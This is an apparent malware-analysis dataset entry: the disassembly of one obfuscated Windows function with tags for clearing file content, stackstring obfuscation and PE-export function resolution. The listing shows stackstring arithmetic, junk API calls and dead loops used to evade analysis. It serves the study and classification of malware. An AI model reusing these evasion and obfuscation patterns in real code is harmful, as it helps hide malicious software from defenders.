Function at 0x40165a
Capabilities:
Clear file content
Contain obfuscated stackstrings
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9a0
push esi
push edi
mov dword [esp + 0x1a0], 0x4d30a14e
mov dword [esp + 0xb0], 0x70ce773e
mov dword [esp + 0x50], 0x4c6f96a7
mov dword [esp + 0x30], 0x12bfab47
mov dword [esp + 0xf8], 0x3bf02928
mov dword [esp + 0xf0], 0x6993feb7
mov dword [esp + 0x8c], 0x36843980
mov dword [esp + 0x80], 0x22a7b2d8
mov dword [esp + 0xa8], 0x5f5805e
mov dword [esp + 0x104], 0x40a621d6
mov dword [esp + 0x168], 0x64bfb529
mov dword [esp + 0x4c], 0x5ed27d1c
mov dword [esp + 0x19c], 0xf2ff262
mov dword [esp + 0x188], 0x8c07f43
mov dword [esp + 0x184], 0x3804e088
mov dword [esp + 0xe8], 0x2f1ec634
mov dword [esp + 0x28], 0x2e77c94b
mov dword [esp + 0x130], 0x4a440898
mov dword [esp + 0x84], 0x309484b6
mov dword [esp + 0xac], 0x73c9e2ef
mov dword [esp + 0x24], 0x4b877d48
mov dword [esp + 0xc4], 0x3099dc7c
mov dword [esp + 0x20], 0x615feade
mov dword [esp + 0x17c], 0x446a3b63
mov dword [esp + 0x180], 0x11d3d526
mov dword [esp + 0x78], 0x2e30be0
mov dword [esp + 0x128], 0x476926b2
mov dword [esp + 0x5c], 0x159dd78e
mov dword [esp + 0x18], 0x45a8f52f
mov dword [esp + 0x178], 0x7c87bff1
mov dword [esp + 0xe0], 0x3c1e216e
mov dword [esp + 0x134], 0x69812418
mov dword [esp + 0x10], 0x305852a6
mov dword [esp + 0xe4], 0x5e3c729d
mov dword [esp + 0x44], 0x3ab60060
mov dword [esp + 0xbc], 0x52a7cf1e
mov dword [esp + 0xf4], 0x34eb4df5
mov dword [esp + 0x3c], 0x2c065130
mov dword [esp + 0x1c], 0x66b3e89c
mov dword [esp + 0x120], 0x42461281
mov dword [esp + 0x14c], 0x18c08550
mov dword [esp + 0xd8], 0x73d72a73
mov dword [esp + 0xd0], 0x208676d9
mov dword [esp + 0xc8], 0x97e7b01
mov dword [esp + 0x198], 0x564c2ad4
mov dword [esp + 0x118], 0x31a473ad
mov dword [esp + 0xc0], 0x6f0c2c09
mov dword [esp + 8], 0x6f921525
mov dword [esp + 0x174], 0x78b29e11
mov dword [esp + 0x48], 0x1643a797
mov dword [esp + 0x70], 0xab6be0f
mov dword [esp + 0x40], 0x5bc36e44
mov dword [esp + 0x154], 0x7b8853a2
mov dword [esp + 0x110], 0x363d690d
mov dword [esp + 0x1a4], 0x602ac37b
mov dword [esp + 0xa0], 0xe5cf88b
mov dword [esp + 0xd4], 0x56a15c0b
mov dword [esp + 0xa4], 0x1cd5d915
mov dword [esp + 0x34], 0x7207cff5
mov dword [esp + 0x108], 0x37508825
mov dword [esp + 0x74], 0x6850216c
mov dword [esp + 0xec], 0x3759da6
mov dword [esp + 0x2c], 0x4a26a4e5
mov dword [esp + 0x144], 0xd4c99b9
mov dword [esp + 0x54], 0x6e3fa22c
mov dword [esp + 0x16c], 0x71091857
mov dword [esp + 0x10c], 0x10e4cf06
mov dword [esp + 0x14], 0x2634e917
mov dword [esp + 0x100], 0x4fc22f47
mov dword [esp + 0x68], 0x278306fd
mov dword [esp + 0x98], 0x2d942cf
mov dword [esp + 0xfc], 0x327e9158
mov dword [esp + 0x6c], 0x10e33ea4
mov dword [esp + 0xb8], 0x4ee1374b
mov dword [esp + 0xdc], 0x5cf63f7
mov dword [esp + 0x160], 0x3c85faf1
mov dword [esp + 0x124], 0x268bc4bd
mov dword [esp + 0x158], 0x75e016c5
mov dword [esp + 0x13c], 0x3662afae
mov dword [esp + 0x114], 0x3094c380
mov dword [esp + 0x38], 0x66d37b37
mov dword [esp + 0x150], 0x175f53b6
mov dword [esp + 0x9c], 0x2c9558a4
mov dword [esp + 0x148], 0x74fd29f5
mov dword [esp + 0xb4], 0x1ba301eb
mov dword [esp + 0xc], 0x245e9e70
mov dword [esp + 0x90], 0x5290730f
mov dword [esp + 0x7c], 0x4e6dc3e
mov dword [esp + 0x170], 0x7e75cc40
mov dword [esp + 0x164], 0x766ada7a
mov dword [esp + 0x194], 0x7de0ffb9
mov dword [esp + 0x60], 0x1a13b53f
mov dword [esp + 0x94], 0x2b7a2791
mov dword [esp + 0xcc], 0x6fa9e6c5
mov dword [esp + 0x58], 0x19c33930
mov dword [esp + 0x190], 0x5c3d3f00
mov dword [esp + 0x88], 0x7ebeca6d
mov dword [esp + 0x12c], 0x7fafdac9
mov dword [esp + 0x15c], 0x121b6c8c
mov dword [esp + 0x64], 0x180c8fc
mov dword [esp + 0x140], 0x4f504ecd
mov dword [esp + 0x11c], 0x235fce9c
mov dword [esp + 0x18c], 0x7a1e49da
mov dword [esp + 0x138], 0x132c3725
sub dword [esp + 0x1a0], 0x8679b24
sub dword [esp + 0xb0], 0x195ad143
sub dword [esp + 0xb0], 0x654f6ed
add dword [esp + 0x1a0], 0x4d761811
sub dword [esp + 0xf8], 0x1194b152
sub dword [esp + 0x50], 0x585e7935
sub dword [esp + 0x8c], 0x4e8a9bbc
add dword [esp + 0xf8], 0x5d5f54f1
sub dword [esp + 0x50], 0x65aef5a
add dword [esp + 0xf0], 0x7689cf54
add dword [esp + 0x50], 0x1dac1948
add dword [esp + 0xf8], 0x18f3df77
sub dword [esp + 0xa8], 0x32d91d07
sub dword [esp + 0x1a0], 0x6f4e1f5d
add dword [esp + 0xf8], 0x16392d9f
sub dword [esp + 0xb0], 0x30a90bfe
sub dword [esp + 0x8c], 0x39d07377
sub dword [esp + 0xf8], 0x1ee38bcc
sub dword [esp + 0xf8], 0x4a6044e7
sub dword [esp + 0x4c], 0x3b883838
add dword [esp + 0x188], 0x7b5d5467
sub dword [esp + 0x30], 0x6caf8db
sub dword [esp + 0xb0], 0x74471523
add dword [esp + 0xf0], 0x57a5c40a
sub dword [esp + 0x50], 0x46d7e0b8
sub dword [esp + 0x80], 0x14879765
add dword [esp + 0xa8], 0x771b87e6
sub dword [esp + 0x50], 0x69801e39
sub dword [esp + 0x104], 0xd8b5a9b
add dword [esp + 0x19c], 0x261b2978
sub dword [esp + 0x80], 0x136b4f97
sub dword [esp + 0xa8], 0x59389ee1
sub dword [esp + 0x8c], 0x4b4eb53e
sub dword [esp + 0x28], 0x78d09b96
add dword [esp + 0x19c], 0xf075ce2
add dword [esp + 0x168], 0x505cdabc
sub dword [esp + 0x168], 0x1abc483d
sub dword [esp + 0x188], 0x260a35a4
add dword [esp + 0x184], 0x654acb4
add dword [esp + 0x184], 0x39264672
sub dword [esp + 0x188], 0x6d767815
sub dword [esp + 0xf0], 0x57881f57
sub dword [esp + 0x19c], 0x525d6e16
add dword [esp + 0x19c], 0x5030e602
sub dword [esp + 0x188], 0x53c2ac9a
add dword [esp + 0x1a0], 0x42b428e0
add dword [esp + 0x50], 0x2a4e9f4c
add dword [esp + 0xb0], 0x64dfd911
add dword [esp + 0x8c], 0xac62315
add dword [esp + 0x130], 0x61c57a59
sub dword [esp + 0x84], 0x65800d60
add dword [esp + 0x17c], 0x54e29b76
sub dword [esp + 0x104], 0x1b3117cb
add dword [esp + 0x19c], 0x2121a65f
add dword [esp + 0x104], 0x1adee1fe
add dword [esp + 0xe8], 0x29e336c5
add dword [esp + 0x20], 0x73676433
sub dword [esp + 0x84], 0x2d7f8509
add dword [esp + 0xac], 0x60219e5a
sub dword [esp + 0xf0], 0xbc705fd
add dword [esp + 0x30], 0x4a4d9ef7
add dword [esp + 0x128], 0xa72a739
add dword [esp + 0xb0], 0x23beed5e
sub dword [esp + 0x28], 0x31d53ed8
add dword [esp + 0x180], 0x3556c736
sub dword [esp + 0x19c], 0x2b24bc8a
sub dword [esp + 0x20], 0x71631bf3
sub dword [esp + 0x4c], 0x1ea1c1bf
add dword [esp + 0x184], 0x7b51b8d7
sub dword [esp + 0x20], 0x1cbe5679
add dword [esp + 0x130], 0x19a703c2
add dword [esp + 0x30], 0x395fa151
sub dword [esp + 0x188], 0x4fab97cb
add dword [esp + 0x184], 0x5be4d901
sub dword [esp + 0x20], 0x26638bd0
add dword [esp + 0xbc], 0x548d602b
sub dword [esp + 0x128], 0xfd0936f
add dword [esp + 0x84], 0x5c2b7db7
sub dword [esp + 0x5c], 0x27afd6d
sub dword [esp + 0x30], 0x4593f7e3
add dword [esp + 0x134], 0x1f264edd
sub dword [esp + 0x18], 0xbf28726
sub dword [esp + 0xf8], 0x57634e94
add dword [esp + 0x24], 0x3afe0a40
sub dword [esp + 0xc4], 0x2b965373
sub dword [esp + 0x10], 0x1407973e
add dword [esp + 0xa8], 0x56d9d4b0
add dword [esp + 0xf4], 0x2ae763f9
add dword [esp + 0x1c], 0x6ad1d2df
sub dword [esp + 0x78], 0x4dbc7c2c
add dword [esp + 0xe0], 0x8296851
add dword [esp + 0x120], 0x32177ea1
add dword [esp + 0xf8], 0x20d058eb
sub dword [esp + 0x1a0], 0x6521f95c
add dword [esp + 0x134], 0xa6b412
add dword [esp + 0xd8], 0x47bad62b
add dword [esp + 0x17c], 0x47c77774
add dword [esp + 0x1a0], 0x2cd127af
sub dword [esp + 0xf0], 0x45622bb3
add dword [esp + 0xbc], 0x1ad346a5
add dword [esp + 0xb0], 0x6485ac53
add dword [esp + 0x50], 0x5d5e238
sub dword [esp + 0x130], 0x5eb44828
add dword [esp + 0x44], 0x7b5c73d9
add dword [esp + 0x188], 0x5bf7bcbb
sub dword [esp + 0x8c], 0x7366aec
sub dword [esp + 0x168], 0x6ba8c081
sub dword [esp + 0x17c], 0x5839692b
sub dword [esp + 0x44], 0x140e143b
add dword [esp + 0xc0], 0x44dbd829
sub dword [esp + 0x5c], 0x3ed6748f
sub dword [esp + 0x48], 0x421b3513
sub dword [esp + 0xd8], 0x10422c5f
add dword [esp + 0xe4], 0x75618c1c
add dword [esp + 0x17c], 0x229c1b38
sub dword [esp + 0x80], 0x5d0cdd7d
add dword [esp + 0xc8], 0x5d8d2640
sub dword [esp + 0x20], 0x634e7472
add dword [esp + 0x128], 0x3888e3f3
sub dword [esp + 0x28], 0x6fc85d95
add dword [esp + 0xf8], 0x188f2357
add dword [esp + 0x20], 0x562cd914
add dword [esp + 0xac], 0x6c720a7d
add dword [esp + 0xe0], 0x9ca5ba8
sub dword [esp + 0x50], 0x6c94ec3d
sub dword [esp + 0x48], 0x6f241b82
sub dword [esp + 0xc8], 0x5df2b992
sub dword [esp + 0x104], 0x2483a949
sub dword [esp + 0x50], 0x3cf33115
add dword [esp + 0x154], 0x4811a539
add dword [esp + 0x30], 0x29a98e8c
sub dword [esp + 0x104], 0x5adc9de9
add dword [esp + 8], 0x4bfebd80
sub dword [esp + 0x30], 0x1234f24d
sub dword [esp + 0x1c], 0x5caed592
add dword [esp + 0xd0], 0x1ec59d7b
add dword [esp + 0x1a4], 0x7cbb7233
add dword [esp + 0xf8], 0x152be7a3
sub dword [esp + 0x4c], 0x7104ac8
add dword [esp + 0xc0], 0x430c130f
sub dword [esp + 0x24], 0x63702cc5
add dword [esp + 0x17c], 0x42158145
sub dword [esp + 0x110], 0xddc244f
add dword [esp + 0xa0], 0x50f6ca5e
sub dword [esp + 0x70], 0x3495b94
sub dword [esp + 0x1c], 0x7c73cfe2
sub dword [esp + 0x48], 0x2e9f86b9
add dword [esp + 0x188], 0x1abf75e1
sub dword [esp + 0x19c], 0x6204e42f
add dword [esp + 0x34], 0x25007bab
add dword [esp + 0x130], 0x4a938fd2
add dword [esp + 0x108], 0x1707ee8a
sub dword [esp + 0x104], 0x66f22e2d
sub dword [esp + 0xd0], 0x6dda8a20
sub dword [esp + 0x54], 0xd65cbc7
sub dword [esp + 0x10], 0x1edda208
sub dword [esp + 0xf4], 0x634008ff
add dword [esp + 0x130], 0x7da5c753
sub dword [esp + 0x5c], 0x4ce416de
sub dword [esp + 0x5c], 0x2cd0a3ed
add dword [esp + 0xd4], 0x6ecb8724
add dword [esp + 0x130], 0x60c27d3d
add dword [esp + 8], 0x7ddf65d9
add dword [esp + 0x108], 0x4e603d80
add dword [esp + 0x180], 0x4718bb53
add dword [esp + 0x4c], 0x274727d4
add dword [esp + 8], 0x1595f7ca
sub dword [esp + 0x16c], 0x7f337bd
sub dword [esp + 0x74], 0x6560df94
sub dword [esp + 0xd8], 0x6a32fdc
sub dword [esp + 0xf4], 0x20c42e4c
sub dword [esp + 0xc4], 0x407ae631
sub dword [esp + 0x84], 0x2097d0a4
add dword [esp + 0x19c], 0x56a682d5
add dword [esp + 0xf4], 0x7e8ceb32
sub dword [esp + 0x30], 0x39aab161
add dword [esp + 0x20], 0x2bfc2aea
add dword [esp + 0x54], 0x7b867f46
sub dword [esp + 0x1c], 0x1bb666f6
sub dword [esp + 0x108], 0x6f28411d
sub dword [esp + 0xc0], 0x31bbfbf0
sub dword [esp + 0xc4], 0x6477cf1e
add dword [esp + 0x30], 0x5ebdce3f
sub dword [esp + 0xc8], 0x75a32bc4
add dword [esp + 0x18], 0x4832ac88
add dword [esp + 0xd0], 0x4ff48aaf
add dword [esp + 0x14], 0x243340fc
add dword [esp + 0x10], 0x460c6731
sub dword [esp + 0xb0], 0x391420f2
add dword [esp + 0x44], 0x1a080484
add dword [esp + 0x4c], 0x196ddf76
sub dword [esp + 0x50], 0x5bd13fad
add dword [esp + 0x160], 0x75dde8d0
add dword [esp + 0xa8], 0x54598af9
add dword [esp + 0xd8], 0x5a4ac13d
sub dword [esp + 0x130], 0x5363dc41
add dword [esp + 0x30], 0x2634362d
sub dword [esp + 0x5c], 0x213b825
add dword [esp + 0x20], 0x58f24373
add dword [esp + 0x158], 0x2dbc27ff
add dword [esp + 0x70], 0x1814734
sub dword [esp + 0x84], 0x4e0d96f
add dword [esp + 8], 0x468f0718
sub dword [esp + 0x78], 0x5b881ebc
sub dword [esp + 0x10c], 0x151bf3ef
sub dword [esp + 0xd8], 0x4d9fb8d5
sub dword [esp + 0x50], 0x5e9d96c7
sub dword [esp + 0x130], 0xb350998
sub dword [esp + 0x10], 0x7a038a1
add dword [esp + 0x1a0], 0x74afad3f
add dword [esp + 0xd0], 0x483a9832
add dword [esp + 0x78], 0x25410917
add dword [esp + 0x10], 0x328929aa
sub dword [esp + 0x118], 0xac0e244
sub dword [esp + 0x9c], 0x6cf0aeb5
sub dword [esp + 0x40], 0x284c20
add dword [esp + 0x17c], 0x21e3210b
sub dword [esp + 0x130], 0x24a9673f
add dword [esp + 0x3c], 0x164901e9
sub dword [esp + 0x19c], 0x68921497
sub dword [esp + 0x174], 0xa01eb35
sub dword [esp + 0x16c], 0x54144a6a
add dword [esp + 0x184], 0x7a5adef7
add dword [esp + 0x104], 0x65280df
add dword [esp + 0x13c], 0x68bceaa
add dword [esp + 0x30], 0x1466774a
sub dword [esp + 0x1a4], 0x3a00edcd
add dword [esp + 0x28], 0x42cc78ea
sub dword [esp + 0x3c], 0xafb8100
sub dword [esp + 0xfc], 0x5e5b325f
add dword [esp + 0x134], 0x53e8ccce
add dword [esp + 0x178], 0x315ba0ed
add dword [esp + 0x20], 0x5a70d04a
sub dword [esp + 0xdc], 0x42c7fa34
add dword [esp + 0x54], 0x477f9b21
add dword [esp + 0xe0], 0x4db0f83
add dword [esp + 0x1a4], 0x13cf6264
add dword [esp + 0x100], 0x1074a2e9
add dword [esp + 0x17c], 0x5aaf0499
add dword [esp + 0xb4], 0x5db87f14
sub dword [esp + 0xa4], 0x497ea249
add dword [esp + 0x114], 0x570f2b76
add dword [esp + 0x14], 0x49e9d1
sub dword [esp + 0x7c], 0x487dd524
sub dword [esp + 0xac], 0x45085e89
sub dword [esp + 0x50], 0x514c5cec
sub dword [esp + 0xa4], 0x5ec45952
add dword [esp + 0xe8], 0x295557d5
sub dword [esp + 0xd4], 0x6ab64960
sub dword [esp + 0x1a0], 0x5111d46c
add dword [esp + 0x5c], 0x3e7eaabd
add dword [esp + 0xb8], 0x1a3eab72
sub dword [esp + 0x80], 0x5ac876e4
add dword [esp + 0xec], 0x5121ef92
sub dword [esp + 0xf8], 0x65a4acfe
sub dword [esp + 0xd8], 0x6871a8c0
sub dword [esp + 0x108], 0x39c8d883
sub dword [esp + 0x130], 0x32b031
add dword [esp + 0x1a0], 0x4a326ed5
sub dword [esp + 0xf8], 0x2225afc6
add dword [esp + 0x10c], 0x4deee3b0
add dword [esp + 0xb4], 0x5ad657bf
add dword [esp + 0x114], 0x3c4e0187
add dword [esp + 0x40], 0x6a2a28c1
sub dword [esp + 0x194], 0x33998b96
add dword [esp + 0x128], 0x1eac2d3d
add dword [esp + 0x198], 0x4c549447
sub dword [esp + 0xc8], 0x28364b22
sub dword [esp + 0x6c], 0x241a4066
sub dword [esp + 0x14c], 0xb41c4b0
add dword [esp + 0x108], 0x170ff49b
add dword [esp + 0x144], 0x31a4d7a5
sub dword [esp + 0x180], 0x63d68f02
add dword [esp + 0xac], 0x23141995
sub dword [esp + 0x94], 0x7f918613
sub dword [esp + 0x34], 0x6c42994b
add dword [esp + 0x40], 0x33725a9d
sub dword [esp + 0x58], 0x451e2791
add dword [esp + 0x50], 0x2840080b
sub dword [esp + 0x124], 0x34293e6
add dword [esp + 0xbc], 0x69f4f418
sub dword [esp + 0x50], 0x3ac58119
sub dword [esp + 0x19c], 0x300eb0e4
sub dword [esp + 0x30], 0x1a846956
add dword [esp + 0x184], 0x5ebed450
add dword [esp + 0x9c], 0x5dd2e137
add dword [esp + 0xa4], 0x3259bb6d
add dword [esp + 0x8c], 0xde4b61a
add dword [esp + 0x170], 0x7f93f242
sub dword [esp + 0x190], 0x564a5d6a
add dword [esp + 0x10], 0x434a33af
add dword [esp + 0xd0], 0x78316716
add dword [esp + 0x158], 0x47be92f0
sub dword [esp + 0x40], 0x10915b88
sub dword [esp + 0x17c], 0x33a2da83
sub dword [esp + 0x15c], 0x377fce0
add dword [esp + 0x60], 0x3ec4216b
add dword [esp + 0xd8], 0x77fd07e6
sub dword [esp + 0x2c], 0x64ad330
add dword [esp + 0xb0], 0x5729f1e5
sub dword [esp + 0x130], 0x1e3af667
add dword [esp + 0x134], 0xcfe7d0f
add dword [esp + 0xf4], 0x46451377
add dword [esp + 0x14c], 0x4a105b01
add dword [esp + 0x13c], 0x2aca3552
add dword [esp + 0xc], 0x4a2673f4
sub dword [esp + 0x8c], 0x5ea89ac0
add dword [esp + 0x140], 0x569e61d7
add dword [esp + 0x130], 0x5d776a75
add dword [esp + 0x68], 0x4df61432
sub dword [esp + 0x64], 0x360b9136
sub dword [esp + 0x38], 0x23fdd07a
add dword [esp + 0x64], 0x3379a164
add dword [esp + 0x164], 0x1e12f0a4
sub dword [esp + 0xdc], 0x6aebfbaf
sub dword [esp + 0x8c], 0x7195e2e3
sub dword [esp + 0x1a4], 0x70d52d5
add dword [esp + 0x64], 0x123469e
add dword [esp + 0x164], 0xa2d95f1
add dword [esp + 0x100], 0x32423365
add dword [esp + 0x12c], 0x70ed9ef
sub dword [esp + 0x10c], 0x485e0e7c
sub dword [esp + 0x13c], 0x7053a77f
add dword [esp + 0x14c], 0x5cc72962
add dword [esp + 0x15c], 0x366f53d3
sub dword [esp + 0xc], 0x2a4b3251
add dword [esp + 0x78], 0x553570f4
add dword [esp + 0x8c], 0x39d4ce70
sub dword [esp + 0x98], 0x242ab50b
sub dword [esp + 0x110], 0x1c1d3406
sub dword [esp + 0xdc], 0xf67d7d2
add dword [esp + 0x17c], 0x69f9ce9a
add dword [esp + 0x130], 0xcbd4713
add dword [esp + 0xbc], 0x49659bfc
sub dword [esp + 0xf4], 0x2557b4d8
sub dword [esp + 0x34], 0x696c71d8
add dword [esp + 0xb0], 0x1d3d06b6
add dword [esp + 0x194], 0x54691494
sub dword [esp + 0x150], 0x39aeb403
sub dword [esp + 0xf8], 0x4593fdb4
add dword [esp + 0x138], 0x112208eb
sub dword [esp + 0xec], 0x73d99806
sub dword [esp + 0x18c], 0x35a581e7
sub dword [esp + 0x48], 0x24114140
add dword [esp + 0x88], 0x7893007a
add dword [esp + 0x128], 0x18efe63d
sub dword [esp + 0x90], 0x37b5f90f
sub dword [esp + 0x18], 0x4c2db3a3
sub dword [esp + 0xb4], 0x4b36765d
sub dword [esp + 0x34], 0x5e883ea0
add dword [esp + 0x84], 0x3a955e4c
add dword [esp + 0x11c], 0x2e90d2b3
add dword [esp + 0x148], 0x4a39669d
add dword [esp + 0x10], 0x2c841adf
add dword [esp + 0xcc], 0x4f169e50
sub dword [esp + 0xf4], 0x262116fe
add dword [esp + 0x38], 0x7204382b
sub dword [esp + 0x1a0], 0x509f0b6b
sub dword [esp + 0x108], 0x6ca42b12
add dword [esp + 0x184], 0x427cdbf4
sub dword [esp + 0x19c], 0x4c1750af
add dword [esp + 0xc4], 0x22c19119
sub dword [esp + 0x104], 0x3b203c40
xor esi, esi
xor edi, edi
cmp edi, 0x94d
jge 0x4028f4
push esi
lea eax, [esp + 0x1ac]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
push esi
call dword [sym.imp.USER32.dll_GetSysColor]
cmp edi, 0x166fb30
jg 0x402905
inc edi
cmp edi, 0x376c5c1
jl 0x4028d6
cmp dword [0x245a264], 0x400
jne 0x4029c3
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateA]
push esi
call fcn.00402e70
pop ecx
push esi
push esi
call fcn.0040350a
push 0x43fce4
push str.0.txt
push esi
call fcn.00403236
add esp, 0x14
push esi
push esi
push esi
call fcn.00403641
fldz
push ecx
fst qword [esp + 8]
fstp qword [esp]
call fcn.00402a40
fstp st(0)
add esp, 8
fldz
fstp qword [esp]
call fcn.004033f0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00403010
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402a60
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004032c0
fstp st(0)
push esi
push esi
call fcn.00402d74
push esi
push esi
call fcn.00402d04
add esp, 0x18
xor edi, edi
cmp edi, 0x16d22
jge 0x4029e0
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthI]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x12e8a06
jg 0x4029fe
inc edi
cmp edi, 0x30375
jl 0x4029c5
mov eax, dword [0x444c64]
mov dword [0x245a264], eax
call fcn.004013b3
mov edi, 0x2ec37
cmp dword [0x245a264], 0x51f
jne 0x402a2d
lea eax, [esp + 0x1a8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
dec edi
jne 0x402a12
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10